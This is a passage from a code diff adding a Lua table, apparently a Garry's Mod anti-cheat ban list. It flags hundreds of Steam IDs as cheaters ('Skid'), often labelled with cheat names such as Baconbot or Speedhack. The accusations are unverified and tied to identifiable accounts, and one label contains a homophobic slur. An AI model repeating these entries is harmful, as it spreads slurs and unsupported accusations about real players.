", Skid = true}, + ["STEAM_0:0:10170875"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32746397"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7693059"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22065309"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34773745"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:551618"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:5127130"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15477783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29129303"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26336859"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42470256"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32869694"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28235783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6015295"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26297056"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41252985"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22079873"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20303891"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17741589"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12692633"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20713298"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38195696"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20047375"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21163496"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30104210"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25976779"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12195073"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26031590"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37853397"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5462855"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33171834"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26338213"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24335624"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33306095"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15641206"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40015812"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35402325"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38410167"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29400918"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17547902"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17272882"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32336603"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18772563"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36480745"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33046923"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33695901"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34012034"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21351228"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19634581"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34776179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22039036"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13597635"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29346506"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20141441"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26346016"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40320801"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33677768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30497403"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15743845"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20561464"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15943450"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26319647"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14023187"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39357715"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21637306"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25501713"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34751131"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17923798"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21811225"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32746717"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:1935714"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7284366"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19435187"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33868394"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28678043"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14779884"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22741582"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23771178"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24885700"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25269733"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24426180"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22477608"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43169141"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24770504"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37358018"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33170724"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31885050"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21662637"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22389319"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33080070"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6076962"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20053939"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19760401"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29757878"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24580800"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22525203"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22622610"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30555695"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:7477515"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9146794"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26652690"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:10878265"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17058129"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40953424"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:3935205"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40582200"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33679189"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15521503"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6481332"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23587245"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24696322"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18112710"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40467009"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14434783"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18768120"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16892217"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18232542"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11861569"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10203347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19516690"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33716553"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29186751"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32857383"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:44383450"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26857452"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19681809"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29532918"] = {Name = "banlist: ", Skid = true}, + + ["STEAM_0:1:14228891"] = {Skid = true}, + ["STEAM_0:0:46298023"] = {Skid = true}, + ["STEAM_0:1:21099910"] = {Name = "GBot", Skid = true}, + ["STEAM_0:1:18891981"] = {Name = "GBot", Skid = true}, + ["STEAM_0:1:11268197"] = {Name = "bobslavko", Skid = true}, + ["STEAM_0:0:32924658"] = {Name = "pd", Skid = true}, + ["STEAM_0:1:26087573"] = {Name = "joker1277", Skid = true}, + ["STEAM_0:0:46022902"] = {Name = "xdfreestylerxd", Skid = true}, + ["STEAM_0:0:34634499"] = {Name = "dontthinkaboutitdude", Skid = true}, + ["STEAM_0:0:47633979"] = {Name = "fr1kingmod_css", Skid = true}, + ["STEAM_0:0:45250716"] = {Name = "mtm96", Skid = true}, + ["STEAM_0:1:45224638"] = {Name = "mhock103", Skid = true}, + ["STEAM_0:0:20471483"] = {Name = "p00ner69", Skid = true}, + ["STEAM_0:1:41093469"] = {Name = "portal2rockers1", Skid = true}, + ["STEAM_0:1:38388487"] = {Name = "monstermn96", Skid = true}, + ["STEAM_0:1:46580991"] = {Name = "zombie13371", Skid = true}, + ["STEAM_0:0:39125498"] = {Name = "insertnamehere_2", Skid = true}, + ["STEAM_0:0:43372066"] = {Name = "SP2: lix", Skid = true}, + ["STEAM_0:0:33443787"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:36131576"] = {Name = "SP2: zbot", Skid = true}, + ["STEAM_0:1:20026079"] = {Name = "SP2: Odius", Skid = true}, + ["STEAM_0:1:13014240"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:0:5226387"] = {Name = "SP2: speedhack", Skid = true}, + ["STEAM_0:0:5979318"] = {Name = "SP2: Whip it good", Skid = true}, + ["STEAM_0:1:17749887"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:37681134"] = {Name = "SP2: CubHack", Skid = true}, + ["STEAM_0:1:22597435"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:28871977"] = {Name = "SP2: Speedhack", Skid = true}, + ["STEAM_0:0:25295126"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:1:29812493"] = {Name = "SP2: tame", Skid = true}, + ["STEAM_0:0:9643377"] = {Name = "SP2: Speedhack", Skid = true}, + ["STEAM_0:1:34174066"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:1:12209165"] = {Name = "SP2: Hermes", Skid = true}, + ["STEAM_0:0:33459537"] = {Name = "SP2: rc/rf", Skid = true}, + ["STEAM_0:1:17629619"] = {Name = "SP2: Isis", Skid = true}, + ["STEAM_0:1:33659672"] = {Name = "SP2: elebot", Skid = true}, + ["STEAM_0:1:20810532"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:6427907"] = {Name = "SP2: Aspergers", Skid = true}, + ["STEAM_0:0:2255757"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:0:1194255"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:18227696"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:32982037"] = {Name = "SP2: CubHack", Skid = true}, + ["STEAM_0:1:1439351"] = {Name = "SP2: herpes", Skid = true}, + ["STEAM_0:1:3176600"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:1:21523239"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:3176600"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:1:21523239"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:21479539"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:1:44511758"] = {Name = "SP2: lix", Skid = true}, + ["STEAM_0:0:40146815"] = {Name = "SP2: mfsp", Skid = true}, + ["STEAM_0:0:15521306"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:19735449"] = {Name = "SP2: Litebotgarry", Skid = true}, + ["STEAM_0:0:13388289"] = {Name = "SP2: Eradicate", Skid = true}, + ["STEAM_0:1:17286464"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:1:40407825"] = {Name = "SP2: hh", Skid = true}, + ["STEAM_0:0:29999073"] = {Name = "SP2: monsterhack", Skid = true}, + ["STEAM_0:0:29437358"] = {Name = "SP2: LHM", Skid = true}, + ["STEAM_0:0:20220663"] = {Name = "SP2: speedhack", Skid = true}, + ["STEAM_0:1:34176202"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:21553359"] = {Name = "SP2: elebot", Skid = true}, + ["STEAM_0:0:16018224"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:1:10569351"] = {Name = "SP2: Eradicate", Skid = true}, + ["STEAM_0:1:37543716"] = {Name = "SP2: Inkbot", Skid = true}, + ["STEAM_0:1:2826106"] = {Name = "SP2: int", Skid = true}, + ["STEAM_0:1:421861172"] = {Name = "SP2: Speedhack", Skid = true}, + ["STEAM_0:0:15726896"] = {Name = "SP2: Inkbot", Skid = true}, + ["STEAM_0:1:16421568"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:1:17267267"] = {Name = "SP2: Inkbot", Skid = true}, + ["STEAM_0:1:29640664"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:0:32070437"] = {Name = "SP2: faggot (poki)", Skid = true}, + ["STEAM_0:0:16499611"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:3992689"] = {Name = "SP2: LHM", Skid = true}, + ["STEAM_0:0:34092283"] = {Name = "SP2: Gooberhack", Skid = true}, + ["STEAM_0:0:19321794"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:19248793"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:14928653"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:19338100"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:1:11769924"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:0:19648713"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:25757548"] = {Name = "SP2: Eradicate", Skid = true}, + ["STEAM_0:0:34111703"] = {Name = "SP2: lix", Skid = true}, + ["STEAM_0:1:35738339"] = {Name = "SP2: gbot,eradicate,gbot3", Skid = true}, + ["STEAM_0:1:9011787"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:29226146"] = {Name = "SP2: CubHack", Skid = true}, + ["STEAM_0:0:19531733"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:17574951"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:16042279"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:33488877"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:25369713"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:1:22111898"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:1:15404351"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:13908513"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:13100739"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:22247737"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:30764583"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:30626912"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:18952303"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:30046997"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:11680407"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:19957547"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:22038220"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:20651275"] = {Name = "SP2: Neon", Skid = true}, + ["STEAM_0:0:49963094"] = {Name = "SP2: isis", Skid = true}, + ["STEAM_0:1:18361092"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:43680205"] = {Name = "SP2: gbot", Skid = true}, + ["STEAM_0:1:1198860"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:15029381"] = {Name = "SP2: Whip it good", Skid = true}, + ["STEAM_0:0:22914080"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:21513525"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:22748305"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:31767822"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:13196020"] = {Name = "SP2: Eradicate", Skid = true}, + ["STEAM_0:1:27526575"] = {Name = "SP2: Odius", Skid = true}, + ["STEAM_0:1:9750737"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:24419439"] = {Name = "SP2: isis", Skid = true}, + ["STEAM_0:0:21760599"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:0:49791119"] = {Name = "SP2: hh", Skid = true}, + ["STEAM_0:1:20789337"] = {Name = "SP2: Hermes", Skid = true}, + ["STEAM_0:0:15446164"] = {Name = "SP2: Hermes", Skid = true}, + ["STEAM_0:1:18811312"] = {Name = "SP2: SySHack", Skid = true}, + ["STEAM_0:0:23403890"] = {Name = "SP2: Mydik", Skid = true}, + ["STEAM_0:0:36250162"] = {Name = "SP2: Eradicate", Skid = true}, + ["STEAM_0:1:39052921"] = {Name = "SP2: isis", Skid = true}, + ["STEAM_0:1:11650863"] = {Name = "SP2: Coma", Skid = true}, + ["STEAM_0:1:12018844"] = {Name = "SP2: isis", Skid = true}, + ["STEAM_0:0:41307538"] = {Name = "SP2: tame", Skid = true}, + ["STEAM_0:0:14073219"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:19811962"] = {Name = "SP2: Inkbot", Skid = true}, + ["STEAM_0:1:19354830"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:0:19617520"] = {Name = "SP2: elebot", Skid = true}, + ["STEAM_0:1:16212076"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:13709339"] = {Name = "SP2: LHM", Skid = true}, + ["STEAM_0:0:40897007"] = {Name = "SP2: isis", Skid = true}, + ["STEAM_0:1:43651259"] = {Name = "SP2: neon", Skid = true}, + ["STEAM_0:0:14891104"] = {Name = "SP2: Convar forcing", Skid = true}, + ["STEAM_0:0:26637072"] = {Name = "SP2: Herpaflerp", Skid = true}, + ["STEAM_0:1:19839009"] = {Name = "SP2: NeonHack", Skid = true}, + ["STEAM_0:1:42084743"] = {Name = "SP2: Gooberhack", Skid = true}, + ["STEAM_0:1:19748919"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:14239923"] = {Name = "SP2: Inkbot", Skid = true}, + ["STEAM_0:1:15801351"] = {Name = "SP2: coma", Skid = true}, + ["STEAM_0:0:5305833"] = {Name = "SP2: Pees", Skid = true}, + ["STEAM_0:1:30286410"] = {Name = "SP2: Baconbot", Skid = true}, + ["STEAM_0:1:19732775"] = {Name = "SP2: Ph0ne", Skid = true}, + + ["STEAM_0:0:42087122"] = {Name = "Dummy", Skid = true}, + ["STEAM_0:1:19493408"] = {Name = "thom5000", Skid = true}, + ["STEAM_0:0:33707387"] = {Name = "isaacljw", Skid = true}, + ["STEAM_0:1:43926069"] = {Name = "willlewald", Skid = true}, + ["STEAM_0:0:13654123"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:16013505"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29419597"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19957547"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23450064"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17974341"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23394524"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:5888158"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:15964800"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23802327"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:21537171"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:13102653"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15260946"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18008485"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19320845"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29540215"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:12070486"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:145833"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:13684157"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:24049073"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25793464"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20693998"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20314230"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:8996978"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26863512"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15707553"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22023213"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23598848"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:22277087"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:25470945"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15967897"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:32073049"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20524414"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21715675"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:23483098"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19338176"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18526416"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25937591"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:12116637"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14275408"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14930281"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18515312"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:16280695"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:24332877"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20594155"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:8747451"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18251944"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:11801739"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19143145"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:14928653"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29736286"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:13388289"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22018370"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26306543"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:31199105"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:25853318"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:22796008"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:30235472"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:26188522"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:24772830"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21672486"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20850528"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:34536928"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15365193"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19611559"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18952303"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:30734457"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:30742789"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:28444196"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21792834"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29034189"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14638998"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15001746"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:22101721"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:14729927"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23430296"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:16559388"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:11318359"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:28088567"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18530428"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20638433"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:19022425"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:8343226"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18717157"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:21352789"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:2826106"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18863849"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:28954750"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:11991698"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:6055923"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:34043173"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:26421335"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29527943"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:6069271"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:28842484"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:3892291"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29704780"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:18079418"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:25838428"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:35173535"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:36250162"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:26391187"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:20697019"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:16042279"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26079381"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:15943832"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27973261"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26282096"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27084623"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22306144"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23545968"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:20625608"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:14237925"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29121980"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:18785352"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22894915"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39039868"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:17022723"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:39629884"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:8827958"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:8164095"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:22110511"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:15625147"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:17549774"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29088378"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:38270510"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26758572"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:36525933"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:19084184"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:26565688"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:28567902"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:0:27294174"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:23162552"] = {Name = "Blackops", Skid = true}, + ["STEAM_0:1:29246427"] = {Name = "Blackops", 